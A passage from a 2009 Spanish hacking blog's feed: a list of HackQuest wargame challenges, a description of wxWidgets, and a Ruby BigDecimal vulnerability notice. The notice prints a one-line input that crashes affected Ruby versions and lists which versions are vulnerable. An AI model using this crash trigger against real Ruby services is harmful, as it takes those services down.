href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=40"&gt;It's just a starter&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=43"&gt;60.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=43"&gt;Open your mind to the unexpected&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=44"&gt;61.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=44"&gt;Remember, logic, not mathematics&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=41"&gt;62.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=41"&gt;Brain damage still not intended&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=45"&gt;63.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=45"&gt;Math, three brains deep&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=46"&gt;64.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=46"&gt;A strong variation&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=50"&gt;65.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=50"&gt;Count me in and weigh me&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=42"&gt;66.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=42"&gt;Don't hurt yourself, take a rest&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=49"&gt;67.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=49"&gt;To boldly go...&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=51"&gt;68.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=51"&gt;Solid problem while driving&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=48"&gt;69.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=48"&gt;The evil machine&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=47"&gt;70.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=47"&gt;Under total control&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td colspan="1"&gt;&lt;br /&gt;&lt;b&gt;Programming&lt;/b&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=72"&gt;71.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=72"&gt;Give it to me&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=73"&gt;72.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=73"&gt;Primal fear&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=74"&gt;73.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=74"&gt;Tracer-L&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=94"&gt;74.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=94"&gt;Move It!&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td colspan="1"&gt;&lt;br /&gt;&lt;b&gt;Special&lt;/b&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=68"&gt;75.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=68"&gt;A beautiful lady&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=70"&gt;76.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=70"&gt;The Abduction&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=67"&gt;77.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=67"&gt;And hell broke loose&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=81"&gt;78.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=81"&gt;Independence Day&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=69"&gt;79.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=69"&gt;Deja Vu&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=71"&gt;80.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=71"&gt;Crack and Burn&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=85"&gt;81.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=85"&gt;Operations to the rescue!&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=79"&gt;82.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=79"&gt;Ringgeister&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=82"&gt;83.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=82"&gt;Combined, mirrored, hated&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=76"&gt;84.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=76"&gt;Deja Deja Vu Vu&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=92"&gt;85.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=92"&gt;The Invasion&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=96"&gt;86.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=96"&gt;The Invasion II&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td colspan="1"&gt;&lt;br /&gt;&lt;b&gt;Stegano&lt;/b&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=33"&gt;87.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=33"&gt;If it's stupid but works..&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=32"&gt;88.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=32"&gt;Somehow, but not really&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=35"&gt;89.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=35"&gt;From the border of hell&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=34"&gt;90.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=34"&gt;The funny little man&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=37"&gt;91.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=37"&gt;eqf!=fveqf!=fvf!=fvegf!&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=39"&gt;92.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=39"&gt;Rock me baby&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=36"&gt;93.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=36"&gt;Welcome to the hard one&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=38"&gt;94.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=38"&gt;A real challenge&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=88"&gt;95.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=88"&gt;Mirror Images&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=91"&gt;96.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=91"&gt;Without black, there's no WHITE&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=90"&gt;97.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=90"&gt;In the Wrong Dimension&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=87"&gt;98.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=87"&gt;Double Possibilities!&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.hackquest.com/"&gt;Link&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;¡Disfrutadlo!&lt;br /&gt;&lt;a href="http://download.live.com/" target="_new"&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-5617421935122125496?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/5617421935122125496/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=5617421935122125496' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/5617421935122125496'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/5617421935122125496'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2009/07/hackquest-nuevo-wargame.html' title='HackQuest -- Nuevo Wargame'/><author><name>guille10000</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-9114544934636240479</id><published>2009-07-30T18:58:00.006+02:00</published><updated>2009-07-31T14:45:36.213+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programas'/><title type='text'>wxWidgets</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;¿Qué es wxWidgets?&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;           wxWidgets permite a los programadores crear aplicaciones para &lt;strong&gt;Win32,  Mac OS X, GTK+, X11, Motif, WinCE, y más &lt;/strong&gt; usando un sólo codebase. Puede ser usado para lenguajes como&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;strong&gt;C++, Python, Perl, y C#/.NET&lt;/strong&gt;. A diferencia de otras IDE multiplataforma, las aplicaciones creadas en wxWidgets &lt;strong&gt;&lt;em&gt;parecen nativas 100%&lt;/em&gt;&lt;/strong&gt;. Esto es porque wxWidgets usa la plataforma propia en lugar de los controles a emular. wxWidgets es también una IDE amplia&lt;strong&gt;&lt;em&gt;, gratis, de código abierto y profesional&lt;/em&gt;&lt;/strong&gt;&lt;em&gt;.&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.wxwidgets.org/images/front_screens/ca3d-win.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 300px; height: 225px;" src="http://www.wxwidgets.org/images/front_screens/ca3d-win.gif" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;wxWidgets te ofrece una API única y de fácil de uso para escribir aplicaciones GUI en múltiples plataformas que todavía utilizan los controles y utilidades de las plataformas nativas.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Características de wxWidgets&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;*Capacidad multiplataforma&lt;br /&gt;*Código abierto&lt;br /&gt;*Documentación y ejemplos&lt;br /&gt;*Amplia gama de clases de controles (botones, labels y demás) y ventanas&lt;br /&gt;*Potente sistema de eventos&lt;br /&gt;*Facilidades de impresión&lt;br /&gt;*Facilidades de debuggeo&lt;br /&gt;*Compilador&lt;br /&gt;*Database funcional&lt;br /&gt;*Ver o documentar clases&lt;br /&gt;*Sistema de arrastrar y soltar&lt;br /&gt;*Actualización fácil de la interfaz de usuario&lt;br /&gt;*Archivos de configuración&lt;br /&gt;*Multithreading&lt;br /&gt;*Programación en red&lt;br /&gt;*Clases de HTML&lt;br /&gt;*Integración OpenGL&lt;br /&gt;*Aplicación de apoyo de diagramas&lt;br /&gt;*Ayuda automática de OLE&lt;br /&gt;*Soporta lenguajes múltiples&lt;br /&gt;*Comunidad de usuarios&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.wxwidgets.org/"&gt;Página principal&lt;/a&gt;&lt;br /&gt;&lt;a href="http://wxwidgets.blogspot.com/"&gt;Blog&lt;/a&gt;&lt;br /&gt;&lt;a href="http://wxcode.sf.net/"&gt;wxCode (sources) &lt;/a&gt;&lt;br /&gt;&lt;a href="http://forums.wxwidgets.org/"&gt; Foro&lt;/a&gt;&lt;br /&gt;&lt;a href="http://wiki.wxwidgets.org/"&gt;Wiki &lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.wxwidgets.org/downloads/"&gt; Descarga &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Saludos :D&lt;br /&gt;&lt;iframe src="http://www.urbandictionary.com/define.php?lookitup&amp;amp;term=un%20using%20one&amp;amp;xcrop=//div#content&amp;amp;css=div#subnav1,div#footer%7Bdisplay:none%7D" style="border: 1px solid black; width: 672px; height: 100%; top: 0px; right: 0px; padding-left: 0px; position: fixed; background-color: white; z-index: 1000; display: none;" id="ResultBox1"&gt;&lt;/iframe&gt;&lt;iframe src="http://www.answers.com/er%20support?lookitup&amp;amp;css=div.ads,div#headerSection,div#navigationSection,div#footer,table#copyrightTable,p.didYouMean,div#shopping%7Bdisplay:none%21important%7Ddiv#new_left%7Bmargin:0%21important;padding:0%21important%7D" style="border: 1px solid black; width: 460px; height: 100%; top: 0px; right: 0px; padding-left: 0px; position: fixed; background-color: white; z-index: 1000; display: none;" id="ResultBox8"&gt;&lt;/iframe&gt;&lt;iframe src="http://en.wikipedia.org/w/index.php?lookitup&amp;amp;title=Tambi%E9n%20es&amp;amp;printable=yes&amp;amp;css=div#footer,h3#siteSub,div#contentSub%7Bdisplay:none%7Dh1%7Bfont-size:16px%7Da%7Bcolor:blue%21important%7D&amp;amp;xremove=//div%5B@class=%27infobox%20sisterproject%27%5D" style="border: 1px solid black; width: 460px; height: 100%; top: 0px; right: 0px; padding-left: 0px; position: fixed; background-color: white; z-index: 1000; display: none;" id="ResultBox0"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-9114544934636240479?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/9114544934636240479/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=9114544934636240479' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/9114544934636240479'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/9114544934636240479'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2009/07/wxwidgets.html' title='wxWidgets'/><author><name>guille10000</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-2023719631030418341</id><published>2009-07-17T13:36:00.011+02:00</published><updated>2009-07-17T14:07:05.884+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ruby'/><category scheme='http://www.blogger.com/atom/ns#' term='Vulnerabilidades'/><title type='text'>Vulnerabilidad en BigDecimal</title><content type='html'>&lt;div id="content-wrapper"&gt;                          &lt;div id="content"&gt; &lt;p&gt;Una vulnerabilidad de DoS ha sido descubierta en la BigDecimal, parte de la librería estándar de Ruby. La conversión de objetos del tipo BigDecimal a Float puede producir una violación de acceso a memoria (segmentation fault).&lt;/p&gt;  &lt;div id="extended"&gt; &lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;font-size:130%;" &gt;Importancia:&lt;/span&gt;&lt;br /&gt;&lt;/span&gt; &lt;p&gt;Un atacante puede provocar un ataque de denegación de servicio (DoS, por "denial of service") al intentar que la librería BigDecimal lea un número muy grande y lo transforme en Float. Por ejemplo:&lt;/p&gt; &lt;pre&gt;BigDecimal("9E69999999").to_s("F")&lt;br /&gt;&lt;/pre&gt; &lt;span style="font-weight: bold;"&gt;&lt;span style="font-size:230;"&gt;&lt;span style="font-style: italic;font-size:130%;" &gt;Versiones vulnerables:&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic; font-weight: bold;font-size:100%;" &gt;1.8&lt;/span&gt;  &lt;ul&gt;&lt;li&gt;1.8.6-p368 y todas las versiones anteriores&lt;/li&gt;&lt;li&gt;1.8.7-p160 y todas las versiones anteriores&lt;/li&gt;&lt;/ul&gt; &lt;span style="font-weight: bold; font-style: italic;font-size:100%;" &gt;1.9&lt;/span&gt; &lt;ul&gt;&lt;li&gt;Las versiones 1.9.1 no están afectadas&lt;/li&gt;&lt;/ul&gt; &lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;font-size:130%;" &gt;Soluciones&lt;/span&gt;&lt;br 